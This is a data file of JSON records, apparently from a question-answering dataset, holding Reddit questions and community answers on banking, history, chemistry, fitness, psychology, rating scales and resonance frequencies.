{"q_id": "62dsrj", "title": "what are automated clearing houses and how are they beneficial?", "selftext": "What service is the clearing house providing as far as being a \"middle man\" between financial institutions?\n\nFrom my very little understanding it seems that they accept the money regardless of whether it's \"authentic\" and if it is, they pass it on to the actual receiving institution?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62dsrj/eli5_what_are_automated_clearing_houses_and_how/", "answers": {"a_id": ["dflp63t"], "score": [2], "text": ["An automated clearing house (ACH) is an electronic system of processing financial transfers. For example you might arrange for your electricity and water bill to pull directly from your bank account rather than dealing with individual bills every month. Those transactions would run through an ACH processing system. Their main benefits are that they save a bunch of human time and effort, and can make funds available to organizations much fasters which reduces inefficiencies of shuffling money around and waiting on mail to move bills and checks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "74ijzm", "title": "Did Judaism exist during the time of the Greek philosophers (Socrates, Plato, Aristotle, etc)? What did the Greeks think of Judaism and the Jewish community? What did the Jews think of the Greeks and their philosophy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74ijzm/did_judaism_exist_during_the_time_of_the_greek/", "answers": {"a_id": ["dnyqerl", "dnzjypg"], "score": [23, 17], "text": ["If that was pre-Aristotle than modern day Israel, I believe, would've still been under the control of the Persians.  \"Jerusalem\" by Simon Montefiore was a fascinating read.  \n\nBut, I really wanted to ask a follow up to this.  I recall Josephus was a contemporary of Rome.  Was there a similar individual that communicated with the Greeks in Pre-Alexander Greece?", "I don't have time to work these into a full response (I have to teach section, ugh), but here, to get you started, are some primary sources. These are primarily from the Greek (Egyptian) side. \n\nTheophrastus (pupil of Aristotle) refers to the Jews as a sect of philosophers, who have strict dietary laws (like the Pythagoreans) and who stay up all night discussing the finer points of the law given to them by the founder of their school, Moses. \n\nManeto, Egyptian priest (but Hellenized), writes a very polemical account of the Jews and the Exodus and argues that Moses was basically a rebel Egyptian priest or prince (I forget which). We have his text because Josephus quotes it at length in order to rebut it. \n\nSimilarly, Hecateus of Abdera (quoted in Diodorus Siculus) gives an account of the Exodus, in which he says that Jews refuse intercourse with other people because they are misanthropoi, haters of mankind. Overall, though, Moses comes off pretty well in this--he is a lawgiver and military leader who founds an insular ethnos that doesn't communicate much with outsiders, which the Greeks are totally down for. \n\nOnce you get into the Roman period there are obviously many many more sources--Tacitus, Plutarch, even Petronius all talk about the Jews. Most of them think circumcision is hilarious. We also have texts from Hellenized Jews (Philo of Alexandria) that engage deeply with Greek philosophy, and certain biblical books (Daniel being the prime example) that clearly emerge from a Hellenistic context. \n\nHonestly your best bet is to just read Gager, Origins of Anti-Semitism, as well as Menahem Stern, Greek and Latin Authors on Jews and Judaism. The problem with the Stern book is that when you put all the quotatios together out of context you might think that the Greeks and the Romans were really anti-semitic, when in fact these come from long discourses on different peoples/ethnoi (the Egyptians, Persians, Thracians, Gauls, etc.,) all of whom are barbarians and thus probably not that great in the eyes of the Greeks and Romans (the Greeks often feel this way about the Romans too). So it's hard to say it's a particular anti-semitism, rather than just a general dislike of the other, who has weird customs you want to make fun of. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4fac3e", "title": "how does super saturation work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fac3e/eli5how_does_super_saturation_work/", "answers": {"a_id": ["d279daa"], "score": [2], "text": ["We say a solution is supersaturated when more solute is dissolved in the solvent than should be possible. For most substances, when you heat the solvent, it is able to hold more solute. When the solution cools, the solute doesn't just fall out of solution because it needs some help. That is, a pitted/rough surface to anchor onto and break away from the solvent molecules. This is called a nucleation point. In a perfectly smooth glass, there are no nucleation points and the solute just has to stay in solution until it finds a nucleation point to get out.\n\nIt's similar to a balloon. Imagine you filled a balloon with water, without stretching it. Now you boil the water, until all of it is a gas. The balloon inflates, and is holding more volume that it should be able to. But the vapour doesn't just escape to equalise the pressure. It needs a hole to flow through. Until then, it has to stay in the high pressure balloon"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9sog60", "title": "why is lifting weights more effective in muscle building than using the machines? or is it just a myth?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sog60/eli5why_is_lifting_weights_more_effective_in/", "answers": {"a_id": ["e8q6x8s", "e8q6ycz", "e8q88yw", "e8q91im", "e8r0fyt", "e8r4vqv", "e8rhqy5", "e8rkxvb"], "score": [3, 494, 11, 4, 8, 20, 3, 3], "text": ["I can\u2019t explain it well enough but take a look at Starting Strenght - either their instructional videos on YouTube or the book by Rip", "Free weights use connecting and supporting muscles to stabilize your arms and legs and body when Using them. They give a more well round whole body work out. Machines are great for *isolating* muscle groups, giving you the ability to target specific muscles. So they both are good, just different. Use free weights to build overall muscle fitness. Use machines to target specific areas you want to improve.\n\n\nEdit: I just want to say there is a lot of amazing and competent information in this thread and I am really impressed by everyone communicating positively and expanding knowledge together! This is what reddit should be like more often!", "Achines take out all the stabilization activity your muscles would you usually do, and usually they have you sat down which removes the challenge of maintaining balance", "I believe it depends on your goals...  for Body Building, Muscles for appearance, some machines will allow a muscle or group to be very specifically targeted.\n\nFor competitive weightlifting - training with machine can help reduce the risk of injury by restricting the movement.\n\nFor general fitness - free weights are (IMO) better, you are lifting for higher reps at lower weight, and developing a more uniform musculature.  Not just lifting the weight but controlling it.", "What nobody in this thread mentioned is that it is very effective, to first isolate the muscle with one set at the machine with heavy weights and then work with free weights or body weight or do a full body workout. That way you can create some extra stress on specific muscle groups that you want to grow faster.", "In short - when you use free weights, you use more muscle groups compared to machines. \n\nIt is therefore more efficient. \n\nAnother reason I would recommend it to any non-bodybuilder is that free weights lifting is more functional and has more real-world applications. ", "I was told that machines tend to isolate your specific muscles, while free weights improve your \"stabilizer\" muscles, which were described to me as \"the tiny muscles around the major muscles\".  \n\nI used to like to switch between the two when i lifted (many many moons ago), especially if I hit a plateau.", "For general informations and training programs I recommend you /r/fitness FAQ. \n\n\n\nSo what is more effective?\n\nIn terms of getting the most bang for your buck(time) its obviously main lifts (Squat, deadlift, bench press, overhead press etc).\n\n**Why?**\n\nBecause main lifts ale multi-joint movements and allow you to move the most weight.\n\n**Alright so what are the benefits?**\n\nMulti-joint movement like squats will engage and tire a **lot** of muscles in your body. (front thigh muscles, back thigh muscles, buttocks etc)\nIf you wanted to achieve a similiar result with isolation exercises you'd have to do one for each of these muscle groups.\n\n\nAs you can see you can either do squats or 3 exercises for legs on machines for similiar result.\n\n**So are isolation exercises inferior?**\n\nAbsolutely not. Isolation exercises are very useful at fixing the weakest links of your main lifts.\n\nFor example your limiting factor for deadlift may be your grip strength.\n\nYou may be strong enough to lift say 100kg but you just cant grip the bar strong enough and you either have to use accessories like wrist straps or lower the weight which slows your progress on deadlift.\n\nIn this case you should include grip/forearm isolation exercises after deadlifts to eliminate this weakest link in this main lift.\n\n\n\nTo sum up - main lifts(\"lifting heaviest weights\") are the most time-efficient at tiring your muscles but once you need to work on that one muscle group which lags your main lifts - grip, triceps, quadriceps (it can really be anything in beginners) you should use isolation exercises.\n\nEDIT: Its worth to add that you can get stronger by both main lifts and purely isolation exercises but if you have limited time for training (as majority of people) then its much better to do warm up, two main lifts and stretching  rather than doing even 4 isolation exercises."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3yxgf2", "title": "why do people go insane if they are in isolation for a long time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yxgf2/eli5_why_do_people_go_insane_if_they_are_in/", "answers": {"a_id": ["cyhv2uw", "cyhx7lh", "cyhxhvk", "cyhybvv", "cyhz27v", "cyhzuz7", "cyhzygc", "cyi0vos", "cyi1oxq", "cyi1um2", "cyi3qyf", "cyi43a6", "cyi4nv8", "cyi4oie", "cyi4u6m", "cyi6jo7", "cyicce8", "cyhfp4b", "cyhgv7t", "cyhhiil", "cyhhs6e", "cyhiuaf", "cyhivwo", "cyhmelo", "cyhrn8l"], "score": [23, 4, 22, 3, 2, 104, 3, 2, 2, 2, 2, 9, 2, 3, 2, 2, 3, 1075, 59, 55, 5, 8, 27, 3, 5], "text": ["Your brain is like a spotlight, and it only shines on a little bit of the world at a time, including only a little bit of your own mind. What makes it worse though - is that wherever you cast that harsh light, deep shadows are made.\n\nHaving a lot of people around is a way to shine spotlights all over the place, and lighten the shadows. Without them, you get a very skewed idea of the world, you forget what things under the shadows even look like, until the world is only what your head alights, and no longer really reality. At that point you've gone nuts.", "Not sure if the correlation fits, but I've been alone (as in single) for 10 years and I've noticed pain in my chest pretty frequently for the last few months. I've been to a cardiologist and a GP doctor who have ruled out a heart condition or any issue with my lungs. \n\nLoneliness has just manifested itself physically. Sucks, but it's true. ", "I did 11 months in \"the box\"  in federal prison.  I had my radio and all the books I could read sent in to me. \n\nSure being alone sucked,  but we had ways of communicating with one another such as; talking to each other through the ventilation,  fishing kites to other cells and even talking to people and sending items to one another using the toilets plumbing.  You learn so much shit that you never knew you could need it's incredible. ", "some quotes i know. :)\n\n_URL_1_\n\n_URL_0_", "Humans are social animals. In the past, many humans did their things a group, such as hunting, raising children and animals, or making shelter. This is still true in the present, but it's not as big of a group, since we mostly spend time with our immediate family. Since we have millions of years of this hard coded into our system, it would be like removing a major thing out of your life. \n\nImagine never eating vegetables or fruits, only meat, butter, seafood and whatnot. Your health would seriously cripple. Loneliness would be a lot like removing vegetables or fruits out of your diet, but instead of your physical health, your mental health will dwindle.", "Hi, UK A Level Psychology teacher here, long time ELI5 lurker and first time poster! There's a lot of really good answers in this thread and your question is certainly a little complicated for an ELI5. \n\nHumans are social creatures. It's what we have evolved to do. Everything about the way we are is based around socialisation. For example, our eyes have a big white background that makes the interesting colours of the rest of the eye stand out which is believed to be a social tool (see [Cooperative Eye Hypothesis](_URL_4_) for more). What's more, healthy humans (that is, humans who don't have social disorders such as autism) are hardwired to interpret situations socially. [In a classic experiment, participants are asked to watch some shaped move around on a screen and then describe what they see.](_URL_2_) The vast majority of people will give the shapes personality traits such as \"The triangle was a bully.\" This seems perfectly normal to us, but imagine you're an alien visiting Earth and you watch humans describing triangles as bullies. It's nonsense (and amazing that you understand English)! Finally, we have the famous study by [Harlow and his monkeys](_URL_3_) where new born monkeys were deprived of social contact for extended periods of time. When they were introduced to a social environment, they simply could not cope; they showed extreme levels of anxiety such as withdrawing to a corner where they just rocked back and forwards. The damage that isolation had caused seemed to be irreparable. \n\nSo, what we have here are just three examples of a very long list that show humans are hard wired in our brains to socialise. Now, take the case of social isolation. Imagine the very thing that you exist for is taken away from you. It suddenly doesn't seem so bizarre that you would be unable to cope.\n\nThe benefits of socialisation are far reaching. For example, we have the [Buffering Hypothesis](_URL_5_) which states that social support gives us a shield against the negative effects of stress. Stress causes illness, and therefore social support causes good health. When you are giving or receiving social support, you release a hormone called oxytocin (fun fact: oxytocin is released during orgasm) which protects against the ill-effects of stress, and so the Buffering Hypothesis also has a biological basis underpinning it that reinforces the idea that we have evolved to be social creatures. \n\nNow, being socially isolated is - I imagine - incredibly stressful. As I said above, the very fabric of who you are has been ripped away from you. Without any social support to protect against your stress response blowing yourself up, things start to go very, very wrong. \n\nThere are a few other factors outside of the social isolation that are also relevant. I can't find the original study, so I'mma send you over to the [BBC](_URL_0_) who touch upon the idea your brain is used to processing extremely high amounts of sensory input on a second-by-second basis, and the nature of isolation implies a very boring environment to process. Your brain is like a child; it gets very bored very quickly, and starts ignoring things that aren't changing. Think about your clothes right now: do you feel them on your skin all the time? Remember that feeling when you first wear a watch or a ring? You play with it all the time, constantly aware that it's there, and after a while it's gone. The brain stops responding to it entirely. This even works with vision; if you stare at the red dot for long enough in [this picture](_URL_1_), your brain will start to ignore the blue ring! But that's another explanation for another day... \n\nAnyway, as the BBC article briefly discusses, it's possible that your brain is trying to piece together what little input it is receiving to somehow match the normal level of processing that it has to do, resulting in weird and wonderful hallucinations which only lead to even more problems. \n\nSo I hope this explain like I'm 15 helped you! In a nutshell, being socially isolated deprives you of everything your species has evolved to do!", "Fyodor Dostoevsky was put into solitary confinement for 8 months in a 5 by 5 foot cell and came out not only fine, but as one of the best writers of all time. I don't think you can correlate solitary as always resulting in insanity; maybe most, but there would be no way to know as we have no data on that.", "A little off topic but what should you do to avoid insanity during isolation? Are there tricks they teach in the military or anything to make it easier?", "Alternatively, is their a type of person that wouldn't go insane? Such as: Schizophrenic, psychopath, Austistic, Down syndrome, etc.\n\n(I don't mean to make light of, or attack, any disorder. Just general curiosity)\n\nFor example, an Autistic person might not require too much social interaction, but would probably want someone to talk to eventually.", "We are social creatures and the mental stimulation you get from interacting with other people keeps the mind active and gives it new things to think about. If you take someone and put them into isolation for long periods of time they will become under stimulated. Their minds are craving that stimulation and if they don't get it then the mind will find new ways of stimulating itself. This self stimulation comes in the form of voices, unwanted thoughts, hallucinations, lucid dreaming, and a less organized, but hyperactive way of thinking. Given long enough the mind becomes increasingly chaotic until it begins having serious neruosis. It's like a feedback loop with more chaotic thoughts and feelings leading to further chaotic thoughts and feelings. \n\nA healthy mind is very capable of forming some strange delusions if it doesn't have a point of comparison. One of the reason that people in long term relationships tend to have more stable minds is because their partner acts like a sounding board. If a thought is crazy and you have another person to impartially tell you \"that's crazy\" then you can realize it's bad to think that. But if you're completely by yourself you don't have that stabilizing factor of another opinion. You can have a very wrong thought, and not have anyone there to demonstrate and compare the thought against 'normal' So even people who are not isolated, but live alone and don't socialize much, are capable of mentally degenerating without realizing it where as if even another person lived with them they would notice the change in personality almost immediately and warn them. ", "I spend a lot of time alone. How do you know if you've gone insane?", "Psychologist here.\n\nImagine your brain is nothing more than a glorified pattern identifier.  Now imagine I remove just about every meaningful pattern available.  Your brain will start creating patterns that don't exist.  For some brains, this breaks them after a period of time.  About as ELI5 as I can get.", "Because when your the only one you have to talk too you realize how much of an idiot you really are...", "It's doesn't for everyone. It is a common pathology/effect of long term isolation, but more tied to confinement *and* isolation. Lack of control is the deciding factor. If we isolate but still maintain some form of self determination and we can control our basic needs of food, water, shelter, security, and comfort then it may never develop into a pathology we call 'insanity', take away our ability to meet those basic needs and anyone will quickly become animalistic. \n\nBeing left alone isn't enough, but being left alone, sequestered away, without a promise of food, water or warmth and our basic physiological stress response system will become overworked and make it harder to think about little else beyond fulfilling those needs. The more of these basic needs that aren't met the more severe the result will be, but it only takes one need not being met to incur a large amount of physiological stress (water in three days, shelter after the first rain or during the cold night, security after being harmed, etc.).\n\nThe more control we have to meet our basic needs the better our mental outlook and the better we are able to adapt to society as a whole. If we walk off into the forest to live the life of a hermit then we have plenty of control to meet those needs, but if we are imprisoned, tortured, and starved then our isolation will likely result in aberrant behavior. ", "What about people who volountarily isolate themsleves, commonly known as hermits?", "I think its because time stops for you.\n\n1) your totally alone (fine like half of reddit is)\n2) you have no stimuli, so your forced  to think and I guess use your imagination (which after sometime, will get difficult, ether you wont be able to stop thinking, or just be bored if you don't meditate)\n3) you don't have any awareness of time around you (you don't know if a minute or a day has passed) I feel this is what really gets to people.\n4) also, I think its human nature for your mind to go into a badplace, like hearing voices. if you don't have anything to do. Like even in that tom hanks movie, the guy was able to draw with his blood. even if he didn't have that ball, he could have kept busy drawing like intricate pictures. In isolation you get nothing from what Im reading below.\n\nI read about a Us Soldier who was captured for a couple years, to keep his sanity he imagined building a house, like brick by brick with all the plumbing, electric. I think the way to combat crazy is to keep busy, which is hard when there random crazy screams around.", "I learned a little bit about isolation driving long-haul.\n\nI think the biggest thing is that you're left facing only your own thoughts... Any mental loops you have become magnified over time if you don't have other people or good distractions to divert them. A runaway mental loop is basically indistinguishable from being insane internally... you have lost control over your own thoughts... If no internal safety net or external force returns you to human interaction, that would become your whole life, especially if you don't get any distractions...\n\nAdd to that the lack of compassionate interactions... even if you're a terrible person, the guy at the counter will still usually speak to you nicely...  When I was trucking, the dispatchers are often mad at you (shit rolling downhill) or trying to push unreasonable jobs down your throat... The shippers and receivers are often unhappy you're there because you mean more work... the border guards are basically baseline unhappy to see you as per their job description... A friendly face becomes a very welcome sight pretty quickly.... I know truckers who go to the same diner for decades because the waitress there is so nice to them.... ", "It's a very psychological process.\nMost people require society to interact in order to function. Insanity from isolation is just extreme loneliness. The movie *Cast Away* is a good example of this, since Tom Hanks has to make up a fake friend (Wilson) to combat his loneliness.", "Humans are highly social creatures. It is through our socialization that we are able to be at the top of the food chain. When you remove that socialization, much like other needs on the Maslov chart, there are adverse reactions like death, sickness, or in this case insanity. Some people don't go insane. The Bergdahl guy in the Army was in isolation for years, didn't go nuts but he does have some psychological idiosyncrasies now. Ever have a young dog that gets separation anxiety.....eventually the same thing happens to humans. ", "Its like a less intense form of sensory deprivaton, or how animals in tiny zoo cages pace and go crazy, too. We need a certain amount of stimulus and variety; it's what our brains have evolved to deal with.", "I believe it's similar to hallucinating from extreme sleep deprivation. If you have extreme human interaction deprivation, your mind does some strange things. Conversing with yourself, likely being one. Humans are social creatures. It's only when we're really deprived of this that we really realize how crucial it is to our mental health.", "Just imagine jerking off 35 times in a row and then imagine not knowing what day it was and not remembering when you started masturbating. The outlook is grim basically. ", "I never understood the effects of isolation until I had to recover from surgery for four weeks. I was supposed to have a nurse come check on me everyday at my house, but I stupidly refused the service to save a few bucks. \n\nAt first it was nice and relaxing... But being confined to my home and not being able to drive slowly began to take it's toll on me emotionally. I began having the most vivid and upsetting dreams I've ever had in my life (probably from all the painkillers) and it started messing with my head.  After four weeks, I snapped and begged a family member to pick me up to stay at their place. \n\nAlso, the boredom became unbearable. I can see why people lose it after being in isolation for long periods of time. I would never survive in jail.", "Every thing you evolved to be is taken away. Your brain and it's million years of evolution is designed for a purpose. What would you expect, when you take this powerful well honed system and just have it idle with no input? ", "The human brain requires near-continuous input in order to stimulate the development of connections between brain cells. This is usually examined through sensory deprivation (and even short-term sensory deprivation can be quite traumatic) but, as human beings are social creatures, this also applies to social activities.\n\nWithout stimulation, the connections between brain cells will physically deteriorate. This has a negative effect on cognitive ability and, over a long period, the ability of the brain to function."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://sadscreenshots.com/uploads/monthly_2015_09/tumblr_mic0z0wjnF1qc3fjso1_500.gif.efae7185e16a2a94e4cba4323ea6b742.gif", "http://41.media.tumblr.com/bc569b1ab4d50b1cd90c0d926b0f18c7/tumblr_ns5v99dYSU1qg4kdro1_500.jpg"], [], ["http://www.bbc.com/future/story/20140514-how-extreme-isolation-warps-minds", "http://a2.files.blazepress.com/image/upload/c_fit,cs_srgb,w_620/MTI4OTg3MTMzNzU0MDc3MTU0.png", "https://www.youtube.com/watch?v=n9TWwG4SFWQ", "https://en.wikipedia.org/wiki/Harry_Harlow#Partial_and_total_isolation_of_infant_monkeys", "https://en.wikipedia.org/wiki/Cooperative_eye_hypothesis", "https://en.wikipedia.org/wiki/Social_support"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5cqqc8", "title": "where did the 5 star rating system come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cqqc8/eli5_where_did_the_5_star_rating_system_come_from/", "answers": {"a_id": ["d9yp91j", "d9yqnta", "d9yquoo", "d9yrtl8", "d9yv22y"], "score": [369, 8, 3, 306, 15], "text": ["Many base 5 and base 10 systems arise from simply having that many fingers, making them the intuitive system for counting in nearly every culture.", "It makes a lot of sense: terrible-bad-average-good-excellent\n\nOr: split the difference between bad and good, the split those differences once more for a slightly nuanced way to look at things. \n\nJust enough information to be useful. ", "I can't be sure why exactly 5, but it does make sense if you think about it: in a rating system, you want a way to separate the mediocre from the bad and the good, and preferably there would be an extra option on either side for things that are *exceptionally* bad or good.\n\n", "Psychologist Rensis Likert developed the 5 point [Likert scale](_URL_0_) in the 1930's, for psychometric measures. A 5 point scale allows participants to evaluate their level of agreement or disagreement. The scale is traditionally formatted as:\n\n1. Strongly disagree\n\n2. Disagree\n\n3. Neither agree nor disagree\n\n4. Agree\n\n5. Strongly agree\n\nIn this way, participants are able to indicate whether they agree, disagree, or are unsure about their agreement.\n\nNow think about ratings on Amazon, for example. A 2 star rating would indicate that the reviewer did not like the product (they disagree). A rating of 3 stars would indicate to me that the product is not great, but it's also not a bad product (a neutral rating). And, as you would expect, a 4 or 5 star rating indicates a good or very good product.\n\nEdit: To clarify, the Likert scale is traditionally a 5 point scale, however another common format is the 7-point scale. Really, any odd numbered scale would work, because it allows the participant to maintain a position of neutrality. An even numbered scale would force participants to either agree or disagree (unadvised in a psychology/sociology study).", "Further with OP's question, why stars?  Why not some other arbitrary point system?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Likert_scale"], []]}
{"q_id": "3m8pwn", "title": "Why did the bolsheviks Invade nations they had promised to free?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3m8pwn/why_did_the_bolsheviks_invade_nations_they_had/", "answers": {"a_id": ["cvdgeli"], "score": [3], "text": ["There's a rather large value judgement implicit in the question, as you're probably aware. \n\nI assume this question refers to the peripheral conflicts of the Russian Civil War, from 1917-1921. \n\nHowever, Lenin's conception of \"freedom\" was rather different from the Woodrow Wilson version; the bolsheviks were expecting a worldwide revolution to overthrow capitalism.  This included recognizing the independence of Finland, and generally acknowledging self-determination \"for all the People's of Russia\", including the right to complete independence.\n\nBut they also wanted to liberate the rest of Europe, not to mention India, Africa and the rest of the world. They expected that to be the work of local revolutionaries rather than invasion. As historian E.H.Carr notes, the bolsheviks didn't want Moscow to be the capital of the USSR ; they wanted it to be Berlin or Paris. \n\n\n\nNow, that brings us to the  Russian Civil War, when Russia's periphery started to crumble, partially due to local nationalist forces but with a lot of help from the Kaiser. The governments of little crumbs were, well...nobody. Most of them hadn't been elected and didn't have much more legitimacy than the Bolsheviks. In most cases local revolutionaries set up opposition Soviet Republics or similar bodies(like the Finnish Socialist Workers' Republic) and declared themselves the *real* _URL_0_ some cases it worked, in others not. \n\nA different situation played out in the Soviet-Polish war of 1920, which usually gets brought up as an example of Red imperialism. That might be a fair  assessment, *if Poland hadn't attacked first.* Marshal Pilsudski, Poland's future dictator, invaded Soviet Ukraine to create a buffer state against the Soviets. Russia invaded back, and got as far as Warsaw. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["governments.In"]]}
{"q_id": "15wqg9", "title": "Question about medieval titles", "selftext": "Mainly in England, how did one differentiate between Sir, My Lord, Your Grace, Your Majesty, etc., and to what offices (Mayor, Count, Baron, King, and so on) did those titles pertain to?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15wqg9/question_about_medieval_titles/", "answers": {"a_id": ["c7qi9jk"], "score": [4], "text": ["A short list from wikipedia:\n\n\n    Ms: (/\u02c8m\u026az/ or /m\u0268z/) - for women, regardless of marital status.\n    Miss: for use by unmarried women.\n    Mrs: (/\u02c8m\u026as\u0268z/ or /\u02c8m\u026as\u0268s/) - for use by married women.\n    Mr: Mister - for men.\n    Master: - for boys or very young men. Rarely used except in very formal address.\n    Sir: - for men, if they have an English knighthood, or as a term of general respect or flattery. Police for instance use it to calm someone down so they will obey more readily, e.g. \"Sir, stay back.\"\n    Madam or Madame: for women, a term of respect or flattery. Equivalent to \"sir\".\n    Lord Highest respect for a male outside the \"immediate\" royal family. (Style: Lordship or My Lord)\n    Lady Highest respect for a female outside the \"immediate\" royal family. (Style: Your Ladyship or My Lady)\n    Bro.: Brother - for men in religious organizations; in the Catholic church, for monks.\n    Dr: Doctor - a person who has obtained a doctorate, such as the Doctor of Medicine (M.D.), Doctor of Osteopathic Medicine (D.O.), or Doctor of Philosophy (Ph.D.). In the Commonwealth holders of a Bachelor of Medicine and Bachelor of Surgery (MBBS or MBChB) are entitled to call themselves 'Doctor'.\n    Rev: Reverend - for Christian clergy\n    Fr: Father - for priests in Catholic and Orthodox Christianity, and some Anglican or Episcopalian groups\n    Sr: Sister - Nun or other religious sister in the Catholic Church; for women generally in some religious organizations, such as the Mormons.\n    Adv.or Counsellor : Advocate - Lawyers  &  Advocates. (Not used in the United States or United Kingdom.)\n\nA little more from _URL_0_\n\n    One's lord : Sire. My Liege, My Lord.\n    King : Sire; My liege; May it please Your Majesty.\n    Queen : Madam; Ma'am; My Lady; May it please Your Royal Highness.\n    Crown Prince : Sire; May it please Your Royal Highness.\n    Prince of the blood : Sire; May it please Your Royal Highness.\n    Princess of the blood : Madam; Ma'am; My Lady; May it please Your Royal Highness.\n    Duke : My Lord; My Lord duke; Your Grace.\n    Marquis : My Lord; My lord Marquis\n    Earl : My Lord\n    Count : My lord\n    Baron, Bannerette : My Lord\n    Knight/baronet : Sire, Sir ... (the name)\n    Noble's wife : My Lady; Your Ladyship; Lady (name); Madam; Ma'am\n    Noble's son : My Lord\n    Noble daughter : My Lady; Your Ladyship; Lady (name)\n    Lord chancellor : My lord or by title\n    Lord of council : My lord or by title\n    Lord of justice : My lord ; Sire ; or by title\n    Lord mayor : My lord or by title\n    Mayor : Your Worship; Sir\n    Pope/Patriach : Your Holiness; Most holy father\n    Cardinal : Your Eminance\n    Archbishop : Your excellency; Your Grace; My Lord Archbishop.\n    Bishop : Your excellency; My Lord; My Lord Bishop.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.stronghold-knights.com/site/article56.html"]]}
{"q_id": "a0tu79", "title": "how does a sub like this continue to strive when search engines exist?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0tu79/eli5_how_does_a_sub_like_this_continue_to_strive/", "answers": {"a_id": ["eak99l7", "eak9zqq", "eakbe4f", "eakdw9c", "eakdz18", "eakhvbb", "eakqqfh"], "score": [16, 4, 6, 2, 2, 3, 2], "text": ["Think of this sub as the \"for dummies version\" where google etc would be the university text book version; with random ads thrown in the middle", "I think there are people out there that still like to help others in some small way. The Reddit community is strong. Its like the 4th or 5th most popular site in the US i think and the world. ", "Basically with here you can get the specific answer you are looking for without having to wade through a lot of other stuff to get to it.\n\nAWD can send power to any wheel as it is needed\n\n4WD sends power to the rear and front axels and drives all the wheels with the same power.", "Both 4wd and awd send power to all 4 wheels.  Difference is that awd can on-the-fly vary how much power goes to front vs rear wheels using a center differential.   4wd is much simpler locking system so cannot vary it on the fly  ", "I can understand it. If you open a post here, you can get answers, but you can still question stuff if you dont completely understand it. And it can also lead to interesting discussions. Contrary to a google search, you might find the answers. But often they are all the same because multiple sites just copypaste it. Or they say the same from a slightly different angle, but not enough to understand it better. Here you specifically ask someting that you dont understand.\n\n & #x200B;", "By using this subreddit, you can find out how transmissions work without the NSA knowing that you don't know much about cars\n  :)", "Sometimes when you google your question you get a piece (probably like 70%) of it easily but then to get the details you have to put in quite a bit more work.  Plus here you get people to call out when new information contradicts what others are saying.\n\nPlus it is good to ask questions in these public settings because when you scroll through you see a question that you never asked yourself but go \"yeah, why is that?\" then you get information you wanted but didn't know to look for.\n\nBut to contradict everything I am saying above.... some of these should just be a google search and not a post.  At least those don't normally get a lot of traction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1af6ov", "title": "Do humans have a resonance frequency?", "selftext": "If so, what happens?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1af6ov/do_humans_have_a_resonance_frequency/", "answers": {"a_id": ["c8wwbaj"], "score": [18], "text": ["A multi-degree-of-freedom system like a human body does not have \"a\" resonant frequency; it has many, each associated with a vibrational mode shape. [Here's](_URL_1_) some animations of different mode shapes for an mdof drumhead. We should add a caveat that the concept of a mode shape in a dissipative system like a squishy human is a little more complicated and depends on the nature of the damping. But the basic idea is there.\n\nIf we shake a human at one of its resonant frequencies, theory says that the associated vibrational mode will be excited and deformations will grow until failure occurs. Prolly not something you want to experience. I had a professor who worked on [pogo](_URL_0_) after NASA discovered it during the Apollo test flights. Apparently one reason the oscillations were so dangerous was that they were roughly at some resonant frequency of your internal organs. He claimed (although I can't find anything to back up the story) that there was a test rig set up at NASA to shake things at the pogo frequency and someone (a reporter, IIRC) got shaken to death on it.\n\n**TL;DR:** Yes, and shaking you at a resonance frequency = bad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pogo_oscillation", "http://commons.wikimedia.org/wiki/Category:Drum_vibration_animations"]]}
{"q_id": "7gw8y2", "title": "Did the Pepsi Corporation buy military submarines and ships from the soviet union?", "selftext": "This [meme](_URL_0_) claims that.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7gw8y2/did_the_pepsi_corporation_buy_military_submarines/", "answers": {"a_id": ["dqo0m3h"], "score": [16], "text": ["Yes, they did - sort of.  Due to the Soviets' lack of hard currency (rubles werent terribly useful outside the USSR), PepsiCo accepted submarines and ships to sell for scrap to allow them to repatriate earnings out of the USSR.  PepsiCo wasnt particularly interested in them because they were warships, but because they were made of scrapable steel that was easily transported.  Since the Soviets had a surplus of older warships, they offered PepsiCo a deal.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["https://pics.me.me/in-1989-the-soviet-union-traded-pepsico-seventeen-submarines-a-26126686.png"], "answers_urls": [["http://www.nytimes.com/1989/05/10/opinion/foreign-affairs-soviets-buy-american.html"]]}
